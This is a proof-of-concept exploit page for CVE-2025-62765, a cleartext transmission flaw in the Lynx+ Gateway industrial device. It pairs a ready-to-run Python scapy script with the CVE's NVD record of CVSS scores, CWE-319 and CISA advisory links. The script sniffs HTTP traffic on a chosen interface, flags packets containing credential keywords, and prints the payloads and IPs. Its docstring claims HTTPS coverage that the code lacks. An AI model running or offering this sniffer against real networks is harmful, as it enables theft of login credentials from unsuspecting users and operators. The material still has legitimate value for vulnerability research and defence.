CVE-2025-62765

# CVE-2025-62765 PoC - Lynx+ Gateway明文传输凭证窃取 # This PoC demonstrates passive network sniffing to capture plaintext credentials import scapy.all as scapy from scapy.layers import http def capture_credentials(packet): """ Callback function to process captured packets Looks for HTTP traffic containing authentication data """ if packet.haslayer(http.HTTPRequest): # Extract HTTP layer data http_layer = packet[http.HTTPRequest] # Check for credentials in URL parameters if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load.decode('utf-8', errors='ignore') # Look for common credential patterns credential_keywords = ['password', 'pwd', 'passwd', 'user', 'username', 'login', 'credential'] for keyword in credential_keywords: if keyword.lower() in payload.lower(): print(f"[!] Potential credential found in packet:") print(f" URL: {http_layer.Host.decode()}{http_layer.Path.decode()}") print(f" Payload snippet: {payload[:200]}...") print(f" Source IP: {packet[scapy.IP].src}") print(f" Destination IP: {packet[scapy.IP].dst}") print("-" * 80) def start_sniffing(interface='eth0'): """ Start packet sniffing on specified network interface Filter for HTTP traffic (port 80) and HTTPS traffic (port 443) """ print(f"[*] Starting packet capture on interface: {interface}") print(f"[*] Looking for plaintext credentials in network traffic") print(f"[*] Press Ctrl+C to stop capture") # Sniff HTTP traffic (port 80) scapy.sniff(iface=interface, filter='tcp port 80 or tcp port 8080', prn=capture_credentials, store=False) # Usage example if __name__ == "__main__": import sys interface = sys.argv[1] if len(sys.argv) > 1 else 'eth0' start_sniffing(interface)

{"cve": {"id": "CVE-2025-62765", "sourceIdentifier": "[email protected]", "published": "2025-11-15T00:15:47.500", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "General Industrial Controls Lynx+ Gateway is vulnerable to a cleartext transmission vulnerability that could allow\n an attacker to observe network traffic to obtain sensitive information,\n including plaintext credentials."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-319"}]}], "references": [{"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2025/icsa-25-317-08.json", "source": "[email protected]"}, {"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-317-08", "source": "[email protected]"}]}}